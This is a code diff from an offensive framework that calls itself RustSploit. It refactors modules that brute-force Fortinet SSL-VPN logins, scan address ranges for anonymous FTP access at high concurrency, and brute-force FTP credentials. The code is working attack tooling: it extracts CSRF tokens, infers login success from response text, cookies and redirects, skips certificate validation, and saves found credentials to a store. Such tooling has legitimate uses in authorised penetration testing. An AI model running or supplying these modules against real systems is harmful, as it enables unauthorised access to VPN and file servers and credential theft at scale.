.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "fortinet_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Fortinet Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -183,67 +382,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_fortinet_task(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
user: String,
|
||||
pass: String,
|
||||
base_url: String,
|
||||
realm: Option<String>,
|
||||
trusted_cert: Option<String>,
|
||||
found: Arc<Mutex<Vec<(String, String, String)>>>,
|
||||
stop_signal: Arc<AtomicBool>,
|
||||
stats: Arc<BruteforceStats>,
|
||||
verbose: bool,
|
||||
stop_on_success: bool,
|
||||
timeout: Duration
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
|
||||
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
|
||||
stats.record_success();
|
||||
if stop_on_success {
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats.record_failure();
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_error(e.to_string()).await;
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
@@ -253,25 +404,27 @@ async fn try_fortinet_login(
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
let login_page_response =
|
||||
match tokio::time::timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body =
|
||||
match tokio::time::timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
@@ -280,95 +433,99 @@ async fn try_fortinet_login(
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
for (key, val) in &form_data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
|
||||
let login_response = match timeout(
|
||||
// Build form body
|
||||
let mut form_pairs: Vec<String> = Vec::new();
|
||||
for (key, val) in &form_data {
|
||||
form_pairs.push(format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
let body = form_pairs.join("&");
|
||||
|
||||
let login_response = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
|
||||
.header(
|
||||
"User-Agent",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
|
||||
)
|
||||
.header("Referer", &login_page_url)
|
||||
.send()
|
||||
).await {
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response.headers().get("Location")
|
||||
|
||||
let location_header = login_response
|
||||
.headers()
|
||||
.get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response.cookies()
|
||||
|
||||
let cookies: Vec<String> = login_response
|
||||
.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match timeout(timeout_duration, login_response.text()).await {
|
||||
|
||||
let response_body = match tokio::time::timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
// Check for explicit success indicators
|
||||
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
|
||||
if success_indicators
|
||||
.iter()
|
||||
.any(|&indicator| response_body.contains(indicator))
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
// Check for explicit failure indicators
|
||||
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
|
||||
if failure_indicators
|
||||
.iter()
|
||||
.any(|&indicator| response_body.contains(indicator))
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
// Check status code and authentication cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
// Check redirect location for success
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
let success_redirects = ["/remote/index", "portal", "index"];
|
||||
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
@@ -377,21 +534,27 @@ async fn try_fortinet_login(
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
|
||||
let patterns = [
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name\s*=\s*"magic"\s+value\s*=\s*"([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#"var\s+magic\s*=\s*"([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
patterns
|
||||
.into_iter()
|
||||
.filter_map(|p| Regex::new(p).ok())
|
||||
.collect()
|
||||
});
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
for pattern in CSRF_PATTERNS.iter() {
|
||||
if let Some(captures) = pattern.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -402,28 +565,24 @@ fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let normalized_host = normalize_target(target)?;
|
||||
|
||||
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
// IPv6 case: check if there's a colon after the closing bracket
|
||||
if let Some(bracket_pos) = normalized_host.rfind(']') {
|
||||
normalized_host[bracket_pos..].contains(':')
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
|
||||
let url = if has_port {
|
||||
format!("https://{}", normalized_host)
|
||||
} else {
|
||||
format!("https://{}:{}", normalized_host, port)
|
||||
};
|
||||
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1,17 +1,44 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use std::net::IpAddr;
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Anonymous Login Checker".to_string(),
|
||||
description: "Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode).".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FTP Anonymous Login Checker ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
@@ -37,7 +64,63 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Check for Mass Scan Mode conditions (also handles CIDR subnets concurrently)
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "FTP Anonymous",
|
||||
default_port: 21,
|
||||
state_file: "ftp_hose_state.log",
|
||||
default_output: "ftp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
},
|
||||
|ip: IpAddr, port: u16| async move {
|
||||
// Quick connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Plain FTP anonymous login
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
match timeout(
|
||||
Duration::from_millis(5000),
|
||||
AsyncFtpStream::connect(&addr_str),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(mut ftp)) => {
|
||||
if ftp.login("anonymous", "anonymous").await.is_ok() {
|
||||
match timeout(Duration::from_secs(5), ftp.list(None)).await {
|
||||
Ok(Ok(_)) => {
|
||||
let msg = format!("{}:{}:anonymous:anonymous", ip, port);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {}", msg).green().bold()
|
||||
);
|
||||
let _ = ftp.quit().await;
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -45,40 +128,155 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Connecting to FTP service on {}...", addr).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
// 1. Try plain FTP first
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Attempting plain FTP connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
match timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
AsyncFtpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(mut ftp)) => {
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] FTP connection established to {}", addr).dimmed()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] Sending USER anonymous / PASS anonymous ...".dimmed()
|
||||
);
|
||||
}
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
match ftp.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len())
|
||||
.dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] ... and {} more entries",
|
||||
entries.len() - 20
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
domain,
|
||||
21,
|
||||
"ftp",
|
||||
"anonymous",
|
||||
"anonymous@",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ftp_anonymous",
|
||||
)
|
||||
.await;
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Server response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] FTP server requires TLS — upgrading to FTPS...".cyan()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] SSL required response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{}", format!("[!] FTP connection error: {}", e).red());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Connection error details: {:?}", e).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
crate::mprintln!("{}", "[-] FTP connection timed out".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] Timeout after {}s connecting to {}",
|
||||
DEFAULT_TIMEOUT_SECS, addr
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Fallback to FTPS
|
||||
crate::mprintln!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Initiating TLS connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] FTPS TCP connection established, performing TLS upgrade...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -90,13 +288,62 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] TLS handshake complete, sending anonymous credentials...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len()).dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] ... and {} more entries", entries.len() - 20)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
domain,
|
||||
21,
|
||||
"ftp",
|
||||
"anonymous",
|
||||
"anonymous@",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ftp_anonymous",
|
||||
)
|
||||
.await;
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] FTPS rejection: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
@@ -3,28 +3,35 @@ use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
net::IpAddr,
|
||||
time::Duration,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use tokio::time::{sleep, timeout};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no,
|
||||
load_lines, get_filename_in_current_dir
|
||||
cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no, cfg_prompt_output_file, load_lines,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Brute Force".to_string(),
|
||||
description: "Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// FTP error classification for better handling
|
||||
/// FTP error classification for retry decisions.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum FtpErrorType {
|
||||
AuthenticationFailed,
|
||||
@@ -35,390 +42,234 @@ enum FtpErrorType {
|
||||
}
|
||||
|
||||
impl FtpErrorType {
|
||||
/// Classify FTP error based on response message
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
|
||||
// Authentication failed (wrong credentials)
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect") ||
|
||||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
|
||||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect")
|
||||
|| (msg_lower.contains("user") && msg_lower.contains("cannot"))
|
||||
|| (msg_lower.contains("password") && msg_lower.contains("incorrect"))
|
||||
{
|
||||
return Self::AuthenticationFailed;
|
||||
}
|
||||
|
||||
// TLS required
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
|
||||
msg_lower.contains("ssl connection required") ||
|
||||
msg.contains("220 TLS go first") ||
|
||||
msg_lower.contains("must use tls") {
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required")
|
||||
|| msg_lower.contains("ssl connection required")
|
||||
|| msg.contains("220 TLS go first")
|
||||
|| msg_lower.contains("must use tls")
|
||||
{
|
||||
return Self::TlsRequired;
|
||||
}
|
||||
|
||||
// Connection limit exceeded
|
||||
if msg.contains("421") || msg_lower.contains("too many") ||
|
||||
msg_lower.contains("connection limit") {
|
||||
if msg.contains("421") || msg_lower.contains("too many")
|
||||
|| msg_lower.contains("connection limit")
|
||||
{
|
||||
return Self::ConnectionLimitExceeded;
|
||||
}
|
||||
|
||||
// Connection failed
|
||||
if msg_lower.contains("connection refused") ||
|
||||
msg_lower.contains("no route to host") ||
|
||||
msg_lower.contains("network unreachable") ||
|
||||
msg_lower.contains("connection reset") {
|
||||
if msg_lower.contains("connection refused")
|
||||
|| msg_lower.contains("no route to host")
|
||||
|| msg_lower.contains("network unreachable")
|
||||
|| msg_lower.contains("connection reset")
|
||||
{
|
||||
return Self::ConnectionFailed;
|
||||
}
|
||||
|
||||
Self::Unknown
|
||||
}
|
||||
|
||||
fn is_retryable(self) -> bool {
|
||||
matches!(self, Self::ConnectionFailed | Self::Unknown)
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
